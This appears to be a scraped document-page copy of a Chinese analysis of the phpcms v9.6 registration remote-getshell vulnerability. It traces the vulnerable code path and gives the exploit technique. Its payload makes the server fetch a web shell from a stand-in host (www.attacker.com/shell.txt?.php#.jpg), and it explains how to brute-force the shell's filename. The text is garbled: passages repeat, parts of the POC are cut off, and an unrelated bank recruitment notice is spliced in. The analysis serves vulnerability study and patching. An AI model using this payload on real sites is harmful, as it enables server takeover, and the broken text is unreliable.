然后我们继续 /phpcms/modules/member/index.php 文件 register 函数, 前面的一大部分都是根据 member_setting 的配置信息来判断用户注册过程的合法性, 对注册进行验证的过程一直到下面的内容,130 行 : 当用户配置信息中 choosemode

Size: px

Start display at page:

Download "然后我们继续 /phpcms/modules/member/index.php 文件 register 函数, 前面的一大部分都是根据 member_setting 的配置信息来判断用户注册过程的合法性, 对注册进行验证的过程一直到下面的内容,130 行 : 当用户配置信息中 choosemode"

亦拥许
5 years ago
Views:

这个漏洞无需登录即可远程直接 getshell, 所以影响很大 phpcms 官方 4 月 12 日发布了 9.6.

1 phpcms v9.6 注册功能远程 getshell 0day 漏洞分析简介 phpcms 在国内应该使用很多, 前几天被爆出来一个 getshell 的 0day, 这个漏洞无需登录即可远程直接 getshell, 所以影响很大 phpcms 官方 4 月 12 日发布了版本, 对漏洞进行了补丁修复漏洞分析 : 在 /phpcms/modules/member/index.php 文件 register 函数处 : 这里有一个 $member_setting = getcache('member_setting'); 就是从 /caches/caches_member/caches_data/member_setting.cache.php 文件中取出用户注册相关的配置信息 :

/caches/caches_model/caches_data/member_input.class.

2 然后我们继续 /phpcms/modules/member/index.php 文件 register 函数, 前面的一大部分都是根据 member_setting 的配置信息来判断用户注册过程的合法性, 对注册进行验证的过程一直到下面的内容,130 行 : 当用户配置信息中 choosemodel=1 时, 加载了 /caches/caches_model/caches_data/member_input.class.php 和 /caches/caches_model/caches_data/member_update.class.php 文件, 然后实例化了 member_input 类, 并且传入 $userinfo['modelid'] 参数, 这里的 $userinfo['modelid'] 就是 $_POST['modelid'], 然后 $_POST['info'] 经过 new_html_special_chars 函数处理, new_html_special_chars 函数在文件 \phpcms\libs\functions\global.func.php 中, 他的功能就是返回经 htmlspecialchars 处理过的字符串或数组 : 经过处理的 $_POST['info'] 进入到 $member_input->get() 函数, 跟进 get 函数, 文件 /caches/caches_model/caches_data/member_input.class.php

$userinfo['modelid'] 参数, 也就是 $_POST['modelid']), 当 $_POST['modelid'])=1 时, 就是文件

3 这里在 get 函数中, 将 data=$_post['info'] 循环去除 key 和 value 内容这里的 $this->fields 就在构造函数中 : 也是获取了 caches 中的配置信息, 这里的 $modelid 就是我们上面再 register 函数中实例化 member_input 类时传入的 $userinfo['modelid'] 参数, 也就是 $_POST['modelid']), 当 $_POST['modelid'])=1 时, 就是文件 /caches/caches_model/caches_data/model_field_1.cache.php 然后当这里的 $field 也就是我们传入的 $_POST['info'] 中 key, 等于 content 时,

$func = $this->fields[$field]['formtype'] = $this->fields['content']['formtype'] = 'editor', 然后 $value =

download 函数, 这里的 'content' 值也就是上面我们为什么要将 $field 设置为 'content' 的原因跟进 download 函数,$this->attachment 也是在构造函数中定义 :

4 $func = $this->fields[$field]['formtype'] = $this->fields['content']['formtype'] = 'editor', 然后 $value = $this->$func($field, $value) = editor($field, $value ), 来看看 editor 函数, 就在 get 函数下面 : $value 变量和 'content' 进入了 download 函数, 这里的 'content' 值也就是上面我们为什么要将 $field 设置为 'content' 的原因跟进 download 函数,$this->attachment 也是在构造函数中定义 : $this->attachment = new attachment('content','0',$this->siteid), 在文件 /phpcms/libs/classes/attachment.class.php 在 download 函数的行 : 这里的 $string = new_stripslashes($value), 然后通过正则匹配 $string, 正则里面的 $ext = 'gif jpg jpeg bmp png', 如果匹配到正则中的内容, 就将第三个括号的匹配内容取出来, 再进入 $this->fillurl 函数, 对 url 进行处理我们先来看看一下这个正则 : /(href src)=([\" ']?)([^ \"'>]+\.($ext))\\2/i, 画个图解释一下, 一目了然 :

5 所以 $string 也就是我们 post 进来的数据的内容可以为如下格式 : href= 或者 src= 进化一下可以为如下内容 : href= 或者 src= 我们匹配出来的就是 group #3, 内容为然后将 group #3 的匹配内容进入 $this->fillurl 函数处理, 跟进

大部分内容都在处理这个 url, 可以不用关注细节, 看红框里面的内容就好了首先将 $surl 使用 # 分割, 然后去了 # 前面的内容 ( 这里存在问题 ) 然后看这个 $surl 是不是 http:/

6 大部分内容都在处理这个 url, 可以不用关注细节, 看红框里面的内容就好了首先将 $surl 使用 # 分割, 然后去了 # 前面的内容 ( 这里存在问题 ) 然后看这个 $surl 是不是开始, 如果是开始讲替换为空, 最后 return 时再加上我们传入的内容通过正则后, 再进 fillurl 函数处理, 那么我们来构造一下我们传入的内容 :

$href=http://www.attacker.com/shell.txt?.php#.jpg 或者 src=http://www.attacker.com/shell.txt?.php#.jpg 然后通过 fillurl 函数处理后变成了 : href=http://www.attacker.com/shell.txt?.php 或者 src=http://www.attacker.com/shell.txt?.php 最后处理完成的 url 放入 $remotefileurls 数组中, 在遍历一下 $remotefileurls 中的内容进行下一步处理 : 首先看一下 fileext 函数, 在文件 \phpcms\libs\functions\global.$

7 href= 或者 src= 然后通过 fillurl 函数处理后变成了 : href= 或者 src= 最后处理完成的 url 放入 $remotefileurls 数组中, 在遍历一下 $remotefileurls 中的内容进行下一步处理 : 首先看一下 fileext 函数, 在文件 \phpcms\libs\functions\global.func.php 很简单, 也就是返回了文件名中以最后一个点后面的内容作为后缀然后看 $filename 是如何命名的, 函数 $this->getname: 文件名为 :$newfile = 以年月日时分秒 +100 到 999 三个随机数字 + 后缀继续 $upload_func = $this->upload_func = 'copy'( 在构造函数中定义为 'copy') 然后执行 $upload_func($file, $newfile) = copy($file, $newfile), 这里的 $file 就是我们传入的 url 文件内容,$newfile 就是上面处理后单位文件名, 将我们传入的远程文件 $file 保存为本地的 $newfile 文件到这里就很清楚了, 我们传入 $_POST['info'] 首先为一个数组 info[content], info[content]=href= 然后经过处理后进入 copy 的 $file 为这里的文件时 shell.txt,.php 被当做 url 的参数, 但是处理在生成 $newfile 时,.php 就成了后缀, 最后生成的 $newfile = php 最后远程 shell.txt 的内容就保存在了 php 中, 成功 getshell

最后的 POC 为 : 最后生成的 shell 地址为 : http://localhost/phpcms_v9.6.

8 最后的 POC 为 : 最后生成的 shell 地址为 : php 这里需要注意一下 : 有些环境会将文件名直接通过 sql 报错爆出来, 这里的 sql 报错是因为在 register 中, 将 $user_model_info 内容 insert 到数据库了,

也同样不能得到路径 ; 最后的文件名就需要爆破, 不过年月日时分秒 +100 到 999 三个随机数字, 爆破的话还是很容易的漏洞修复 : 官方在 4.12 号发布了 9.6.

9 但是此时 insert 数据库时, 插入的表中没有我们传入的 content 字段, 导致报错, 将最后的文件名报出来了也有一个问题就是, 不是所有环境都能走到这一步 insert 数据库导致报错, 因为只有当我们传入的注册信息最后随机, 就是用户名, 邮箱等尽量足够随机时 $status 的值才不为空, 才能进入到 insert 处 ; 而且在 phpsso 没有配置好的时候 $status 的值为空, 也同样不能得到路径 ; 最后的文件名就需要爆破, 不过年月日时分秒 +100 到 999 三个随机数字, 爆破的话还是很容易的漏洞修复 : 官方在 4.12 号发布了的补丁 : TF8.zip 在补丁中对获取到后后缀进行了验证 : 所以升级到官方最新版就 ok 了

4-4

4-4 四中国工商 ( 一 ) 中国工商股份有限公司 2011 年度校园招聘公告根据业务发展需要, 中国工商股份有限公司将统一面向 2011 年应届毕业生招聘新员工现将有关事项公告如下 : 一招聘机构中国工商股份有限公司 2011 年度校园招聘机

然后我们继续 /phpcms/modules/member/index.php 文件 register 函数, 前面的一大部分都是根据 member_setting 的配置信息来判断用户注册过程的合法性, 对注册进行验证的过程 一直到下面的内容,130 行 : 当用户配置信息中 choosemode

然后我们继续 /phpcms/modules/member/index.php 文件 register 函数, 前面的一大部分都是根据 member_setting 的配置信息来判断用户注册过程的合法性, 对注册进行验证的过程一直到下面的内容,130 行 : 当用户配置信息中 choosemode